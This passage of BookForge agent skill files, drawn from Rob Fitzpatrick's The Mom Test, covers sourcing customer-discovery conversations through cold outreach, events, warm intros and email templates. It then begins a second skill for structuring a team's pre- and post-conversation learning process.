- **The goal of cold outreach is to stop having cold outreach** — You hustle together the first one or two conversations from wherever you can. If you treat people's time respectfully and are genuinely trying to solve their problem, those cold contacts start turning into warm introductions. The snowball starts rolling. Do not try to optimize your cold outreach conversion rate — try to convert cold contacts into warm intro sources as fast as possible.
- **Rejection rate is irrelevant when you are learning, not selling** — If you reach out to 100 people and 98 hang up, you now have 2 conversations. Unless your plan is to sell via cold calls, the rejection rate does not matter. You only need one "yes" to start the intro chain. People don't like getting cold calls. No surprise there. But you only need a tiny response rate to begin.
- **Frame for help, not for sales** — When you do not know why you are in a meeting, it becomes a sales meeting by default, which is bad for three reasons: the customer closes up about pricing, attention shifts to you instead of them, and it will be the worst sales meeting ever because you are not ready. The 5-element framing formula (Vision/Framing/Weakness/Pedestal/Ask) prevents this by establishing you as someone worth helping, not someone trying to sell.
- **Bring them to you when possible** — When you are going to people, you are on the back foot. You made the approach, so they are suspicious and trying to figure out if you are wasting their time. When they come to you (through a meetup you organized, a blog post they read, a talk you gave), the dynamic flips — they take you more seriously and want to help you more. Any channel that brings customers to you saves time and changes the power dynamic.
- **The advisor evaluation mindset changes the power dynamic** — Do not go into conversations looking for customers. Go in search of industry and customer advisors. You are evaluating whether they are helpful, knowledgeable, and excited about your space. The topics of discussion are basically the same but the dynamic changes completely. You change your circumstances to require less willpower, like throwing out chocolate when you start a diet.
- **Match conversation count to segment focus, not to anxiety** — 3-5 conversations can be enough for a focused segment. 10+ conversations with inconsistent results means the segment is too broad, not that you need more conversations. The stopping rule is simple: keep talking to people until you stop hearing new information. Then get back to building.
## References
- For the complete 7-channel breakdown with tactical details and additional examples, see [references/channel-guide.md](references/channel-guide.md)
- For outreach message templates adapted to different contexts, see [references/outreach-templates.md](references/outreach-templates.md)
- **Cross-skill dependencies:** This skill requires a defined customer segment from `customer-segment-slicer` as input. After creating the outreach plan, use `conversation-format-selector` to decide whether conversations should be casual or formal.
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — The Mom Test by Rob Fitzpatrick.
## Related BookForge Skills
Install related skills from ClawhHub:
- `clawhub install bookforge-customer-segment-slicer`
Or install the full book set from GitHub: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
FILE:references/channel-guide.md
# Conversation Sourcing Channel Guide
Deep reference for each of the 7 conversation sourcing channels. Read this when evaluating which channels to recommend for a specific segment and situation.
## Channel Category 1: Going to Them
These channels involve the founder actively seeking out and approaching potential customers. You are on the back foot — they may be suspicious of your motives. The goal is to convert cold contacts into warm intros as quickly as possible.
### Cold Outreach (Calls, Email, LinkedIn)
**How it works:** Send unsolicited messages to people who match your target segment. Expect approximately 2% response rate from cold outreach.
**Why the rejection rate is irrelevant:** Unless your plan is to sell your product via cold calls, the 98% rejection rate does not matter. You are not optimizing for conversion — you are trying to start the intro snowball. You only need one or two responses.
**Tactics:**
- Cold LinkedIn messages can work even for reaching C-level executives at major companies. One team used cold LinkedIn messages to reach C-level executives of several major UK retailers. They were ignored by practically every exec in the country, but they only needed one "yes" to start the intro train.
- Send from your blog email address, not a personal email. Even with zero audience, recipients often check your domain. If they see an industry blog, they figure you are an interesting person to talk to.
- Use the VFWPA framing formula (see outreach-templates.md) — never send "Can I interview you?" or "Can I get your opinion?"
**Best for:** Bootstrapping from zero connections. First 1-2 conversations that seed the warm intro chain.
**Worst for:** Ongoing conversation sourcing. If you are still doing cold outreach after 10+ conversations, your warm intro conversion is failing.
### Seize Serendipity
**How it works:** Use casual encounters (parties, conferences, co-working spaces, cafes) to start customer discovery conversations when you hear relevant signals.
**Why it works:** People love talking about their problems. By taking an interest in the problems and details of their day, you are already more interesting than 99% of the people they have met. If it is not a formal meeting, you do not need excuses — just have a good conversation.
**Tactics:**
- Keep your top 3 learning goals in your head at all times so you are ready for unexpected opportunities
- Listen for trigger phrases: mentions of your problem domain, complaints about existing solutions, descriptions of workflow pain points
- At a friend's engagement party, you might hear someone mention "my talk in Tokyo next week" — approach them, have a genuine conversation about their work, and leave with customer insight and a commitment to try your prototype
- If you think it sounds weird to interview people at parties, you are thinking of it as an interview instead of a conversation
**Best for:** Founders who are already embedded in communities where their target customers exist.
**Worst for:** Founders targeting segments they have no social overlap with.
### Find a Good Excuse
**How it works:** Create a natural reason for the conversation that has nothing to do with your business idea.
**Tactics:**
- If your founding team includes a PhD student, you have the ultimate excuse: "I'm doing my PhD research on the problems around X, it would be a huge help if I could ask you a couple questions for my dissertation."
- If a topic is one you both care about, find an excuse to talk about it. Your idea never needs to enter the equation and you will both enjoy the chat.
- At a cafe with amazing coffee: "This coffee is amazing and I wanted to ask about the story behind the beans." — gets you past staff to the manager and eventually the owner.
**Best for:** Situations where a direct approach would feel awkward. Consumer research where the target is in a public setting.
### Immerse Yourself
**How it works:** Join the communities and spaces where your target segment gathers. Attend their events, join their forums, give free talks, volunteer.
**Why it works:** By immersing yourself in the community, you meet a large number of people, build organic relationships, and develop deep understanding of the space. Connections and conversations accumulate naturally.
**Tactics:**
- Hit the conference circuit and give free talks everywhere you can
- Join relevant online communities and contribute genuinely (not just lurking to recruit interviewees)
- Volunteer for industry organizations
- Not every conversation needs to validate your idea — immersion is about understanding the landscape
**Caution:** Immersion takes significant time. It is an investment that pays off over weeks and months, not days. Use this in combination with faster channels.
**Best for:** Founders entering a completely new industry. Long-term relationship building.
## Channel Category 2: Bringing Them to You
These channels position the founder so that potential customers seek them out. This changes the power dynamic — when they come to you, they take you more seriously and want to help you more.
### Landing Pages
**How it works:** Put up a page describing your value proposition and collect email addresses. Then personally email every single person who signs up.
**Critical insight:** The value of a landing page is NOT the conversion rate or signup metrics. The value is the conversations that result from emailing each person who signs up. Joel Gascoigne of Buffer did a classic landing page test — but contrary to popular understanding, it was not the metrics that convinced him to move forward. It was the conversations from emailing every person who signed up and saying hello.
**Tactics:**
- Keep the page simple — describe the problem you are solving, not the solution
- Include an email signup, not a purchase button
- Personally email every signup within 24 hours. Ask about their situation and what drew them to sign up.
- Use signups as qualified leads for conversation (they self-selected by signing up)
**Best for:** Founders who can describe their value proposition clearly. Creates a stream of pre-qualified conversation partners.
### Organize Events
**How it works:** Host meetups, happy hours, workshops, knowledge exchange calls, or roundtables for your target segment.
**Why it is the most underrated channel:** For marginally more effort than attending an event, you can organize your own and benefit from being the center of attention. People assume you are credible because you sent the invite emails or introduced the speaker. You will have an easy time chatting with them about their problems.
**Tactics:**
- Name the event after your target segment: "HR professionals happy hour," "Fintech compliance roundtable," "Embedded systems debugging workshop"
- Host a semi-monthly knowledge exchange call between thought leaders in your space. Other people can dial in. By organizing and hosting, you absorb the credibility of the top participants.
- You do not need a large audience — even 5-10 people at a focused meetup produces more useful conversations than a 500-person conference
**Best for:** Founders who can identify a specific community to convene. This is the most unfair trick for rapid customer learning and instantly bootstraps industry credibility.
### Speaking and Teaching
**How it works:** Teach at conferences, give workshops, create online videos, blog about the industry, or offer free consulting.
**Why it works:** If you are building something in a space, you probably have both expertise and a strong opinion about how things could be better. That is the magic combination for being an effective teacher. Teaching puts you in front of a self-selected audience of people who take the topic seriously. You refine your message, learn which parts resonate (before you have built anything), and the attendees who are most keen will naturally approach you.
**Tactics:**
- Find chances at conferences, workshops, online videos, blogging, or free consulting/office hours
- Use teaching to test which parts of your offering resonate before building
- Chat up the attendees who are most keen after your session
- Teaching is undervalued as both a learning and selling tool
**Best for:** Founders with domain expertise who can articulate a point of view.
### Industry Blogging
**How it works:** Write about your target industry's problems and solutions. Ask readers to get in touch.
**Why it works even with zero audience:** When you send cold emails from your blog email address, recipients check your domain. They see your industry blog and figure you are an interesting, serious person worth talking to. The traffic and audience are irrelevant — the blog serves as a credibility signal. Blogging about an industry is also a good exercise to get your thoughts in order. It makes you a better customer conversationalist.
**Best for:** Long-term credibility building. Enhancing cold email effectiveness.
## Channel Category 3: Creating Warm Intros
Warm intros are the goal. Conversations are infinitely easier when someone credible introduces you and establishes your reason for being there.
### 7 Degrees of Separation
The world is a small place. Everyone knows someone. You just have to remember to ask. Stand on a chair in a co-working space, yell "Does anyone here know someone at [target company]?", and buy some beers. This is even easier for consumer products — not everyone knows folks at McKinsey, but everybody knows a recent mom or amateur athlete or theater enthusiast.
### Industry Advisors
Recruit 2-5 industry advisors at approximately 0.5% equity each. Meet each one monthly. The primary value is a steady stream of credible introductions. You end up getting a fresh batch of intros weekly without it being a huge time burden for any individual advisor. The first conversation with a good advisor looks similar to a conversation with a flagship customer — you get along, talk about a space you both care about. You can sometimes identify and recruit strong advisors from your early customer conversations.
### Investors
Top-tier investors are excellent for B2B intros. Beyond their own rolodex and portfolio companies, they can pull off cold intros to practically any industry. They can also help close higher-tier advisors and directors than you could wrangle on your own. Ask: who has already bought into your idea? Who could they connect you to?
### Universities
If the founder is still in (or recently out of) university, professors are a goldmine for intros. They get grant funding from high-level industry contacts. Since those contacts are investing in research, they are self-selected as people excited about new projects. Professors are easy to reach — they post their emails publicly and you can walk into their office.
### Cash In Old Favors
Everyone who previously said "sounds great, keep me in the loop and let me know how I can help" can now be contacted. Reply to that old email and ask for a specific introduction. Use the VFWPA framing format so it is easy for them to forward your message. You will get ignored a lot, but who cares? You are not trying to minimize failure rate — you are trying to get a few conversations going. The person being introduced will not know the backstory, so it is a clean start. Do not make a habit of this — it can burn bridges — but sometimes you are backed into a corner and need to get started somehow.
FILE:references/outreach-templates.md
# Outreach Message Templates
Templates for requesting and framing customer discovery conversations. All templates use the 5-element framing formula: Vision / Framing / Weakness / Pedestal / Ask (mnemonic: "Very Few Wizards Properly Ask [for help]").
## The 5 Elements Explained
| Element | Purpose | Key Rule |
|---------|---------|----------|
| **Vision** | Establish you are working on something meaningful | One half-sentence of how you are making the world better. Do NOT mention your idea or product. |
| **Framing** | Set expectations and disarm sales defenses | Mention your stage. If true, say you have nothing to sell. |
| **Weakness** | Show vulnerability, give them a chance to help | Mention your specific problem or knowledge gap. Clarifies you are not a time-waster. |
| **Pedestal** | Make them feel uniquely valuable | Show why THEY in particular can help. Not a mass email. |
| **Ask** | Request specific help | Be concrete about what you need (15-min chat, coffee, email exchange). |
## Bad Framings to Avoid
These framings trigger defensive reactions and produce bad conversations:
- **"Can I interview you?"** — Sets off alarm bells that this meeting will be boring. Nobody wants to be interviewed.
- **"Can I get your opinion on what we're doing?"** — Signals neediness and desire for approval or compliments.
- **"Do you have time for a quick coffee?"** — No context, suggests you are likely to waste their time.
- **"Thanks for agreeing to this interview."** — Same as above. Stop calling it an interview.
- **"Um. So..."** / **"How's it going?"** — No framing at all. Meeting defaults to a sales meeting, which is bad because: (1) the customer closes up about pricing, (2) attention shifts to you, (3) it will be the worst sales meeting ever because you are not ready.
## Template 1: Cold Email (Pre-Product, Standard Order)
Use when reaching someone you have never met and you do not have a product yet.
```
Subject: Quick question about {their specific area}
Hey {Name},
I'm trying to make {industry/activity} {better in specific way}.
(VISION)
We're just starting out and don't have anything to sell, but want
to make sure we're building something that actually helps.
(FRAMING)
I've only ever come at it from {your perspective} and I'm having
a hard time understanding how it all works from {their perspective}.
(WEAKNESS)
You've been {doing specific thing} for {time/context} and could
really help me cut through the fog.
(PEDESTAL)
Do you have time in the next couple weeks to meet up for a chat?
(ASK)
```
## Template 2: Cold Email (Pre-Product, Weakness Early)
Use when the standard order might look like a sales pitch. Move Weakness early so the reader sees vulnerability before they can delete it as spam.
```
Subject: Need help understanding {specific challenge}
Hey {Name},
I run a startup trying to make {industry} {vision}.
(VISION)
We're having a load of trouble figuring out how all the pieces
of the industry fit together and where we can best fit into it.
(WEAKNESS — moved early to prevent spam-deletion)
You know more about this industry than anyone and could really
save us from a ton of mistakes.
(PEDESTAL)
We're funded and have a couple products out already, but this is
in no way a sales meeting — we're just moving into a new area and
could really use some of your expertise.
(FRAMING)
Can you spare a bit of time in the next week to help point us in
the right direction over a coffee?
(ASK)
```
## Template 3: Warm Intro Request
Use when asking someone (investor, advisor, friend) to introduce you to a contact.
```
Subject: Intro to {person/role} at {company}?
Hey {Connector Name},
We're working on {vision — one sentence}.
I'm trying to understand {specific challenge/question} and
{Target Person} at {Company} seems like exactly the right
person to talk to — {why they specifically can help}.
Would you be willing to make an intro? Here's a short blurb
you can forward:
---
"Hey {Target Name},
I'd like to introduce you to {Founder Name} from {Company}.
They're working on {vision} and are in early stages — not
selling anything, just trying to understand {specific topic}.
{Founder} mentioned you because {pedestal — why they are
uniquely valuable}. I think you'd have a great conversation.
I'll let you two take it from here."
---
Thanks! And no worries if the timing isn't right.
```
## Template 4: Meeting Opening (Warm Intro)
Use when someone else made the introduction and you are starting the meeting. Repeat your framing and immediately drop into the first question to grab the reins.
```
Hey {Name}, thanks so much for taking the time.
As I mentioned in the email, we're trying to {vision} and
aren't exactly sure how it all works yet.
(VISION + FRAMING + WEAKNESS — compressed)
I think {Introducer} made this intro because you have
pretty unique insight into {specific area} and could really
help us get pointed in the right direction.
(AUTHORITY — use the introducer as voice of credibility)
(PEDESTAL)
{Immediately transition to first question:}
I was looking at {something specific about them/their work}
and it's pretty impressive. How did you {specific question
about their experience}?
(GRAB THE REINS — drop into conversation immediately)
```
**Critical:** Once the meeting starts, you must grab the reins or the other person will drill you on your idea, which is exactly what you do not want. Repeat what you said in the email, then immediately drop into the first question. Do not wait for awkward silence. Do not let them ask "so, tell me about what you're building." You set the agenda, keep it on topic, and propose next steps.
## Template 5: Serendipity Conversation Starters
Use in casual settings when you encounter someone who matches your target segment. These are NOT emails — they are conversation openers.
**No framing needed.** If it is not a formal meeting, you do not need to make excuses about why you are there or mention that you are starting a business. Just have a good conversation.
- "That's really interesting — how does that work?" (when they mention something relevant)
- "I've always wondered about that. What's the hardest part?" (genuine curiosity)
- "How long have you been doing that? What's changed the most?" (past specifics, not future opinions)
**Rule of thumb:** If it is a topic you both care about, find an excuse to talk about it. Your idea never needs to enter the equation and you will both enjoy the chat.
## Template 6: Cashing In Old Favors
Use when re-contacting someone who previously said "keep me in the loop."
```
Subject: Re: {original email thread subject}
Hey {Name},
Thanks again for the chat back in {timeframe}. You mentioned
to keep you in the loop — we've made some progress and I wanted
to take you up on that.
We're now trying to understand {specific current challenge} and
I'm looking for an intro to someone who {description of target
person}.
Do you happen to know anyone who fits that description? Happy
to send over a short blurb that makes the intro easy for you.
{Sign off}
```
**Use sparingly.** This can feel annoying if overdone and can burn bridges. But sometimes you are backed into a corner and need to get started somehow.
## Adapting Templates to Product Stage
| Stage | Framing Emphasis | Key Phrase |
|-------|-----------------|------------|
| **Idea stage** | Nothing exists yet, pure learning | "We don't have anything to sell — just trying to understand the problem" |
| **Prototype** | Early and rough, seeking direction | "We've built an early prototype but want to make sure we're headed the right direction" |
| **MVP/Beta** | Product exists, seeking validation | "We have an early version and want to make sure we're building the right thing" |
| **Launched** | Product in market, seeking improvement | "We're live but want to deeply understand how [specific aspect] works for you" |
## Template Quality Checklist
Before sending any outreach message, verify:
- [ ] Does it pass the "delete test"? — Would the recipient read past the first two sentences, or delete it as spam?
- [ ] Is there a clear Weakness? — Does the message show vulnerability and a specific knowledge gap?
- [ ] Is the Pedestal specific? — Could this message only be sent to THIS person, or could it go to anyone?
- [ ] Is the Ask concrete? — Does it specify what you need (time, format, topic)?
- [ ] Is it free of product pitching? — Does the Vision describe a mission, not a product?
- [ ] Is it short? — Can the recipient read it in under 30 seconds?
Structure the before-and-after process around customer conversations so learning actually reaches the whole team. Use this skill when the user needs to prepa...
---
name: conversation-learning-process
description: Structure the before-and-after process around customer conversations so learning actually reaches the whole team. Use this skill when the user needs to prepare a team for a batch of customer conversations, set up pre-conversation learning goals, create a note-taking system for customer interviews, review and categorize conversation notes using signal symbols, run a post-conversation team review, share customer insights across the team, diagnose whether conversations are producing real learning or just going through the motions, fix a learning bottleneck where one person hoards all customer insights, their team keeps having conversations but nothing changes or plans never update, or a co-founder or teammate is out of the loop on customer feedback — even if they don't explicitly say "learning process" or "team review." Do NOT use for analyzing a specific transcript for data quality (use conversation-data-quality-analyzer) or evaluating whether a prospect gave a real commitment (use commitment-signal-evaluator).
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/the-mom-test/skills/conversation-learning-process
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: verified
source-books:
- id: the-mom-test
title: "The Mom Test"
authors: ["Rob Fitzpatrick"]
chapters: [8]
tags: [customer-discovery, conversation-process, note-taking, team-learning, learning-goals, post-mortem, meeting-prep]
depends-on: []
execution:
tier: 1
mode: hybrid
inputs:
- type: document
description: "Team context, conversation notes, existing assumptions, or learning log"
tools-required: [Read, Write]
tools-optional: []
mcps-required: []
environment: "Any agent environment with file read/write access."
---
# Conversation Learning Process
## When to Use
Your team is about to start, is in the middle of, or has just finished a batch of customer conversations, and you need a structured process to extract maximum learning. Typical situations:
- The team is preparing for upcoming customer conversations and needs to agree on learning goals and roles
- Someone just finished a conversation and needs to categorize their notes and extract learnings
- The team has accumulated conversation notes but has not reviewed them together or updated their assumptions
- One person is doing all the customer conversations and the rest of the team is out of the loop
- Conversations feel unproductive -- the team suspects they are going through the motions without real learning
- The user wants to set up a repeatable learning process for their founding team
Before starting, verify:
- Does the team have a product idea or problem area they are exploring? (If not, they need to clarify this first)
- Has the team chosen a customer segment to focus on? (If not, consider using the `customer-segment-slicer` skill first)
**Mode: Hybrid** -- The agent structures the learning process, categorizes notes, and produces the learning review document. The humans conduct the actual conversations and participate in team review discussions.
## Context & Input Gathering
### Required Context (must have -- ask if missing)
- **Product idea or problem area:** What is the team building or exploring? This shapes which assumptions matter and what learning goals to set.
-> Check prompt for: product descriptions, problem statements, startup ideas, business concepts
-> Check environment for: `product-idea.md`, `README.md`, pitch documents
-> If still missing, ask: "What product or problem area is your team exploring?"
- **Phase indicator:** Is this pre-conversation (preparing), mid-batch (reviewing notes), or post-batch (synthesizing learnings)?
-> Check prompt for: mentions of "preparing," "just had a meeting," "reviewing notes," "planning conversations"
-> If ambiguous, ask: "Are you preparing for upcoming conversations, reviewing notes from recent ones, or both?"
### Observable Context (gather from environment)
- **Team composition:** Who is on the team and who is attending conversations?
-> Look for: team descriptions, org context, co-founder mentions
-> If unavailable: assume a small founding team (2-3 people) and note the assumption
- **Existing conversation notes:** Raw notes from previous or recent conversations
-> Look for: `conversation-notes/`, files with meeting dates, notes containing quotes
-> If unavailable: assume first batch of conversations
- **Current assumptions or learning log:** What the team currently believes and what they have already validated or invalidated
-> Look for: `learning-log.md`, `assumptions.md`, hypothesis documents
-> If unavailable: help the team articulate their current assumptions as part of the process
- **Previous learning goals:** What the team was trying to learn in prior conversation batches
-> Look for: prior question scripts, learning goal lists, `question-script.md`
-> If unavailable: treat as first batch
### Default Assumptions
- If no team size specified -> assume 2-3 person founding team
- If no conversation history -> assume this is the first batch
- If no assumptions document -> help build one during the process
- If phase is unclear -> run the full before/after cycle
### Sufficiency Threshold
```
SUFFICIENT when ALL of these are true:
- Product idea or problem area is known
- Phase (before, during review, or after) is clear
- At least some team context exists (even approximate)
PROCEED WITH DEFAULTS when:
- Team composition is vague ("me and my co-founder")
- No prior conversation notes exist (first batch)
MUST ASK when:
- No product idea or problem area at all
- Cannot determine whether they need prep, review, or both
```
## Process
### Step 1: Diagnose the Current Learning Process
**ACTION:** Assess whether the team has a working learning process or is falling into common traps. Check for the learning bottleneck anti-pattern and going-through-the-motions symptoms.
**WHY:** Most teams default to a broken process where one person goes to all the meetings, takes poor notes, and becomes the sole repository of customer truth. This creates a de-facto dictatorship where "the customer said so" becomes an unchallengeable trump card. Even if the learning is accurate, it does not matter if it has not been communicated to the whole team. One founder's CTO quit over exactly this pattern, saying "We're never going to succeed if you keep changing what we're doing." The learning was true -- but it had not been shared.
**Learning bottleneck symptoms** -- flag if any are present:
- One person attends all customer meetings alone
- The team hears about customer insights secondhand ("I talked to customers and they said...")
- Product decisions are justified with "Because the customers told me so!" without shared evidence
- Technical co-founders say "I don't have time to talk to people -- I need to be coding!"
- Notes are not taken or not shared
**Going-through-the-motions symptoms** -- flag if any are present:
1. You are talking more than the customer is
2. The customer is complimenting you or your idea
3. You told them about your idea and do not know what is happening next
4. You do not have notes from the conversation
5. You have not reviewed your notes with your team
6. You got an unexpected answer and it did not change your idea or plans
7. You were not scared of any of the questions you asked
8. You are not sure which big question you are trying to answer by doing this
**IF** learning bottleneck symptoms are present -> flag this explicitly and recommend the team fixes it before continuing. The fix has three parts: prepping together, reviewing together, and taking good notes.
**IF** going-through-the-motions symptoms are present -> note which ones apply and address them in subsequent steps.
**IF** neither pattern is detected -> proceed to the appropriate phase.
**OUTPUT:** A brief diagnostic with any flags raised, plus a recommendation for which steps to focus on.
### Step 2: Set Pre-Conversation Learning Goals (Before Phase)
**ACTION:** Help the team define their 3 most important learning goals for the upcoming batch of conversations. Then identify conversation roles, write down assumptions, and do desk research triage.
**WHY:** If you do not know what you are trying to learn, you should not bother having the conversation. The minimum prep is answering "What do we want to learn from these guys?" Learning goals must be decided with the whole founding team -- both business and product should be represented -- because if you leave part of the company out of the prep, you end up missing their concerns in the conversations.
**Sub-steps:**
**2a. Define the 3 Big Learning Goals**
Work with the team to identify the 3 murkiest or most important unknowns right now. These should be framed as facts or behaviors to discover, not opinions to collect.
**IF** the team has prior conversation data -> review what was learned and what remains unknown. Pick up where you left off.
**IF** this is the first batch -> derive goals from the team's riskiest assumptions about the business.
To surface hidden risks, ask these two prep questions:
- "If this company were to fail, why would it have happened?"
- "What would have to be true for this to be a huge success?"
These are not long strategy discussions -- gut reactions are enough. They reveal which assumptions are load-bearing and should be tested first.
**2b. Assign Conversation Roles**
Meetings go best with two people:
- **Lead:** Focuses on talking, asking questions, and guiding the conversation
- **Note-taker:** Focuses on writing down exact quotes and signal annotations. Also watches for bad question patterns or missed signals -- jump in and fix them when noticed.
Do not send more than two people unless it is group-on-group. Three people interviewing someone can feel overwhelming. Going solo is fine once you are good at taking concise notes, but the main risk is that it is harder to catch yourself going off-track.
**IF** the team member doing conversations is shy -> suggest bringing a friend or co-founder to the first few conversations to play note-taker until they are comfortable leading.
**2c. Write Down Best Guesses**
Spend up to an hour writing down best guesses about what the person they are about to talk to cares about and wants. These guesses will probably be wrong, but having a skeleton makes it easier to stay on track and hit important points during the conversation.
**2d. Desk Research Triage**
For any question that could be answered with desk research (company background, industry trends, publicly available information), do that first. Do basic due diligence on LinkedIn and the company website. This takes 5 minutes and prevents wasting conversation time on questions the internet could answer.
**2e. Decide Target Commitments**
If the team has already learned the facts of their customer and industry, they should also know what commitment and next steps to push for at the end of the meeting. Define the ideal outcome.
**OUTPUT:** A prep document with:
- 3 numbered learning goals
- Conversation roles (lead + note-taker)
- Key assumptions to test
- Desk research notes (if applicable)
- Target commitment or next step to push for
### Step 3: Categorize Conversation Notes (During/After Phase)
**ACTION:** Take raw conversation notes and categorize each entry using the 12 signal symbols system. Tag each note with the appropriate symbol(s) and extract exact quotes.
**WHY:** Unstructured notes are almost as bad as no notes. Signal symbols turn raw conversation data into sortable, filterable intelligence. When the team reviews, they can pull all pain points across multiple conversations, find patterns in workarounds, and prioritize based on emotional weight. Without categorization, notes become an unsearchable pile that nobody looks at -- and notes are useless if you do not look at them.
**The 12 Signal Symbols** — see [references/note-taking-signal-symbols.md](references/note-taking-signal-symbols.md) for the complete symbol table (3 categories: Emotions, Their Life, Specifics).
**Processing rules:**
1. **Preserve exact quotes.** Wrap verbatim customer words in quotation marks. These can be used later in marketing language, fundraising decks, and to resolve arguments with skeptical teammates.
2. **One learning per entry.** Each note should capture a single insight, quote, or observation -- not a paragraph of mixed signals.
3. **Combine emotion + life symbols.** A pain point mentioned with anger `:( [pain]` carries far more weight than one mentioned casually `[pain]`. Flag these high-weight combinations.
4. **Tag follow-ups prominently.** Especially next steps promised as a condition of commitment -- these must be actioned promptly.
**IF** raw notes are provided -> categorize each entry with appropriate symbols
**IF** a transcript is provided -> extract key moments and categorize them
**IF** notes are missing or sparse -> flag this as a process problem and reconstruct what can be remembered (but acknowledge the data loss)
**OUTPUT:** Categorized notes with signal symbols applied to each entry.
### Step 4: Run the Post-Conversation Team Review
**ACTION:** Structure a team review session that covers three levels: content review (what was learned), meta-review (how the conversation went), and assumption updates.
**WHY:** The review is where learning actually transfers from one person's head to the whole team's shared understanding. It is tempting to skip because it sounds like a non-step, but skipping it creates the learning bottleneck. Disseminate learnings to your team as quickly and directly as possible, using notes and exact quotes. This keeps the team in sync, leads to better decisions, prevents arguments, and allows your whole team to benefit from the learning you have worked hard to acquire.
**4a. Content Review -- What Did We Learn?**
Walk through the categorized notes with the team. Focus on:
- Key quotes and what they reveal
- Main takeaways from each conversation
- Surprising or unexpected data points
- Patterns across multiple conversations (if reviewing a batch)
**4b. Meta-Review -- How Did the Conversation Go?**
Discuss the conversation process itself:
- Which questions worked well and which fell flat?
- Were there important signals or questions we missed?
- Did we slip into any bad patterns (pitching, accepting compliments, premature zoom)?
- How can we do better next time?
**WHY meta-review matters:** Customer conversation quality is more craft than science. You have to actively practice it to get better. Spending a few minutes on meta-level reflection after each conversation is a valuable skill for your team to develop. It will get less scary as you improve.
**4c. Assumption Update -- What Changed?**
For each of the team's current assumptions:
- Mark as VALIDATED if conversation evidence supports it (cite the specific evidence)
- Mark as INVALIDATED if conversation evidence contradicts it (cite the specific evidence)
- Mark as UNCERTAIN if evidence is mixed or insufficient
- Note any NEW assumptions that emerged from the conversations
**IF** an unexpected answer did not change the team's idea or plans -> flag this as a going-through-the-motions symptom. An unexpected answer that does not change anything means the team is either not listening or not asking important enough questions.
**OUTPUT:** Updated assumption list with evidence citations.
### Step 5: Set Next 3 Learning Goals
**ACTION:** Based on the review, decide the next 3 big questions for the next batch of conversations.
**WHY:** Learning goals evolve as you gather data. Questions that were murky last week may now be clear, while new questions have emerged. The team should always know their current list of 3 -- this lets them take advantage of serendipitous encounters (chance meetings, casual conversations) because they know exactly what they need to learn.
**IF** key assumptions were invalidated -> the next learning goals should explore the implications and potential pivots
**IF** assumptions were validated -> the next goals should push deeper or move to adjacent unknowns
**IF** the team is getting mixed signals across conversations -> consider whether the customer segment is too broad (use `customer-segment-slicer` to narrow)
**OUTPUT:** Updated list of 3 learning goals for the next conversation batch.
### Step 6: Produce the Learning Review Document
**ACTION:** Compile everything into a structured learning review document that serves as the permanent record of this conversation batch.
**WHY:** Notes must be transferred to permanent storage that is sortable, combinable with team notes, and retrievable. This document is the team's shared source of truth for what was learned, preventing any single person from becoming the bottleneck.
**Output format:**
```markdown
# Conversation Learning Review
## Batch Context
- **Date:** [date range of conversations]
- **Product/Problem Area:** [from input]
- **Customer Segment:** [who was talked to]
- **Team Members:** [who attended, with roles]
- **Conversations Conducted:** [count]
## Learning Goals (This Batch)
1. [Goal 1] -- STATUS: [validated/invalidated/uncertain]
2. [Goal 2] -- STATUS: [validated/invalidated/uncertain]
3. [Goal 3] -- STATUS: [validated/invalidated/uncertain]
## Categorized Notes
### Conversation: [person/company, date]
| # | Signal | Quote / Observation |
|---|--------|-------------------|
| 1 | :( [pain] | "We spend two full days every month reconciling invoices" |
| 2 | [workaround] | Built a spreadsheet macro but it breaks when format changes |
| 3 | $ [money] | Currently paying $2K/month for legacy system |
| 4 | [person] | Mentioned Sarah Chen at Acme -- same problem, bigger team |
| 5 | [follow-up] | Send API documentation they requested |
[Repeat for each conversation]
## Assumption Updates
| # | Assumption | Prior Status | New Status | Evidence |
|---|-----------|-------------|-----------|----------|
| 1 | [assumption] | untested | validated | "exact quote" -- [person, date] |
| 2 | [assumption] | untested | invalidated | [observation] -- [person, date] |
## Meta-Review
- **What worked:** [questions or techniques that produced good data]
- **What to improve:** [patterns to fix, questions to rephrase]
- **Process issues:** [any going-through-the-motions symptoms detected]
## Next 3 Learning Goals
1. [Next goal 1]
2. [Next goal 2]
3. [Next goal 3]
## Follow-Up Actions
- [ ] [action item 1 -- owner, deadline]
- [ ] [action item 2 -- owner, deadline]
```
**IF** the user provided a file path or working directory -> write the output to `learning-review-[date].md`
**ELSE** -> present the output directly in the conversation
## Examples
**Scenario: Founding team preparing for first customer conversations about a B2B invoicing tool**
Trigger: "We're building an automated invoicing tool for small accounting firms. My co-founder and I are about to start talking to potential customers. We've never done this before. How should we prepare?"
Process:
1. Diagnose: No prior conversations, no notes, no learning process yet. No bottleneck symptoms (they have not started). Flag the importance of both founders attending.
2. Set learning goals using the risk-identification questions:
- "If this company fails, why?" -> Maybe nobody wants to switch from their current system, or the integration work is too painful.
- "What would have to be true for huge success?" -> Accounting firms must hate their current invoicing workflow enough to pay for a new tool and endure switching costs.
3. Derive 3 learning goals: (a) How painful is the current invoicing process? (b) What workarounds do firms use today? (c) What would make them switch?
Output (abbreviated):
```
## Learning Goals (Batch 1)
1. How painful is the current invoicing workflow for small accounting firms?
-> Test assumption: "Manual invoicing takes significant staff time"
2. What workarounds and tools do they currently use?
-> Test assumption: "Most firms use spreadsheets or legacy software"
3. What would trigger a switch to a new invoicing tool?
-> Test assumption: "Time savings alone would justify switching cost"
## Conversation Roles
- Lead: [Founder A] -- ask questions, guide conversation
- Note-taker: [Founder B] -- capture quotes, annotate with signal symbols
## Key Assumptions to Test
- Small firms spend >5 hours/week on invoicing
- Current tools are frustrating but firms have not actively looked for alternatives
- Price sensitivity is moderate ($50-200/month range)
## Prep Questions (Hidden Risks)
- If we fail, it is probably because: switching cost is too high,
or the problem is not painful enough to justify change
- For huge success: firms must actively hate their current process
AND be willing to endure 2-4 weeks of migration
```
---
**Scenario: Solo founder reviewing messy notes after three customer conversations**
